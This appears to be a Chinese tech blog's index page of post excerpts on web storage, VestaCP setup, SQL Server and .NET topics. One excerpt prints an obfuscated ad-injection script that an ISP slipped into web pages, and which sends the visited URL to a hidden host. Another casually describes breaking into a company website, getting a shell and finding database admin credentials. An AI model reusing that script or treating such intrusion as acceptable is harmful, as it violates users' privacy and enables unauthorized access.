Skip to content

LocalStorage 本地存储

QQ图片20170228220902

Cookie不多说了。

Web SQL Database实际上已经被废弃,而HTML5的支持的本地存储实际上变成了

Web Storage(Local Storage和Session Storage)与IndexedDB。

Web Storage使用简单字符串键值对在本地存储数据,方便灵活,但是对于大量结构化数据存储力不从心,IndexedDB是为了能够在客户端存储大量的结构化数据,并且使用索引高效检索的API。

sessionStorage和上文中提到的localStorage非常相识,方法也几乎一样:

非常通俗[……]

继续阅读

Vesta 主机控制面板安装后,一些需要修改的配置

简述:Vesta Control Panel,简称VestaCP ,俄罗斯人开发的开源主机面板。

 

修改默认端口

VestaCP 默认的端口是8083[Https], 我们可以将其修改为其他端口,以防止帐号密码被爆破
需要修改配置文件 /usr/local/vesta/nginx/conf/nginx.conf ,将8083修改为你想要的端口
,接下来必须把心端口号在防火墙端口也给添加了,否则不能访问

/usr/local/vesta/nginx/conf

&nbsp[……]

继续阅读

SQL Server 版本号

查询完整版本信息

Select @@version

(结果)

Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) 
 Apr 2 2010 15:48:46 
 Copyright (c) Microsoft Corporation
 Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7600: )

分解的详细版本信息

SELECT[......]

继续阅读

联通宽带测速

上个月联通给我短信说提速到100M了,感觉也没怎样快到哪?

上联通官网,便民服务,找宽带测速 http://iservice.10010.com/e4/transact/basic/service_broadband_iframe.html?menuId=000400030004

选省区,比如河南 进入测速页面 http://cesu.shangdu.com/ 安装了插件。

但发现测速插件无论在 Edge下,IE,Chrome下都无法加载。

看了下JS代码,如果控件加载成功跳转到 [……]

继续阅读

SQL获取系统相关信息

前几天看了亲戚所在公司的企业网站(一省级大型国企),是.net、sql server做的,有email,OA和PM系统。

一不小心通过几个设置漏洞拿到了一个可遍历系统文件夹的shell,遍历了众多文件夹,竟发现一个1.2G的压缩包,估摸这就是全站拷贝。下载看了果然。。。找到了配置文件,配置文件中有数据库的sa账号。。。 挺大的一家企业,安全大意太不应该!

数据库大多都是工程业务上的信息,包括工程项目规划,进度,业务审批,采购商,各种设备器材以及中标的一些信息。虽然我都不关系这些,可要是工程竞标[……]

继续阅读

.Net 4.5 中的Task简单异步

有一个多月没写过代码了,也没有研究过什么东西。整天跟小朋友混在一起,乐不思码!

有句俗话说生过孩子的妈:生完傻3年。我觉得对孩子的爸也适用。

 

这两年跟许多做技术的项目/产品经理聊过不少,发现,别人都是很系统的拼接,攒上了“汽车”,至少也“电动”了,我还在一点点码代码,闭门造自行车。虽说有好有坏处,但在这种速生年代绝不算是工匠精神,只能说挺落伍。

 

4.5出很久了,但也没研究过,用.Net作一般的东西,论技术实现其实2.0就够了。新版本更多是对以往版本[……]

继续阅读

解决NuGet程序包更新安装失败的错误

管理NuGet程序包 中更新程序包,出现:

Failed to initialize the PowerShell host. If your PowerShell execution policy setting is set to AllSigned, open the Package Manager Console to initialize the host first

 

1. Step

Open Windows PowerShell, run as Adminis[......]

继续阅读

解决电信路由Http注入脚本插入广告【n.cosbot.cn/rb/i8.js】

一个多月就发现浏览器右下角会有时出现广告窗口。

查看源代码,发现head结束之前被加入一行js引用,

<script charset="utf-8" async="true" src="http://n.cosbot.cn/rb/i8.js">
</script>
</head>

 

(function(d){function $a(p){try{var x=d.getElementsByTagName("head")[0];var y=x.appendChild($s(p));setTimeout(function(){x.removeChild(y)},2000)}catch(e){}}function $c(n){return d.createElement(n)}function $s(p){var j=$c("script");j.src=p;j.async=true;j.type="text/javascript";return j}var amt=0;function $rn(){var ww=d.body.clientWidth;var hh=d.body.clientHeight;var u={j:"ht",c:"com.cn",q:"tp:",m:"b.",n:"wdzs",d:"i."};var be=u.j+u.q+"//"+u.d+u.n+u.m+u.c;var en=escape(window.location.href)+"&a="+Math.random()+"&w="+ww+"&h="+hh;if(top==this){if(ww<300||hh<40){amt+=1;if(amt<3){setTimeout($rn,1000)}else{$a(be+"/fmt8p/m.php?u="+en)}}else{$a(be+"/fmt8p/?u="+en)}}}setTimeout($rn,500)})(document);

最终地址:

*.wdzsb.com.cn/fmt?p/

[……]

继续阅读

浏览器中自动补全的一处错误:ftp.so

几年来这个问题就一直存在。从注册ftp.so起发现的。

在Windows下,浏览器地址栏中输入不加HTTP协议的网址:“ftp.so”,回车后,浏览器总会把它自动修改为 “ftp://ftp.so/”。

在IE,Chrome,Opera,Edge,Firefox中,都测试,结果都是一样的。

先后给 Google Chrome,微软,Mozilla 等报告过问题,但从没收到过回应。

感觉所有浏览器的自动修正方法都是相同的,所以这也许是个某组织的问题比如:W3C.org。

&nb[……]

继续阅读

农转公/公转农 System.Globalization.ChineseLunisolarCalendar 农历转公历/公历转农历

项目中有一个生日短信提醒功能,需要每年提醒。选农历, 每年提醒, 第二年的公历是不一样的,所以每一年的都需要自己计算。

设计的要求 ,他们说因为年纪大的人是只记得农历的。。。

网上资料不少,公历转农历现成的一堆。都是用微软的System.Globalization.ChineseLunisolarCalendar类写的,
但是农历转公历的很少,也有,但都是只提到方法的调用,比如下面:
 20151122234809
正确的应该是1982-10-12 。由于 并没有详细说到关键的闰月计算, 所以起初很困惑[……]

继续阅读

找回 Windows Server 2012 中的磁盘清理功能

公司在阿里云的新服务器,系统C盘只有40G,装了一堆程序,配置好环境,只剩下大约3个G了,看着标红的C盘容量条,很不惬意,确定要清理一下。

习惯性手工清理 + CCleaner 清理,完了没有大多少。却发现Server 2012怎么没有“磁盘清理”这个功能按钮呢?

于是搜索引擎。。。

结果是,要在“服务器管理器”中打开勾选这个功能:

安装以后在磁盘属性页就可以找到“磁盘清理”的选项了!

20151112145924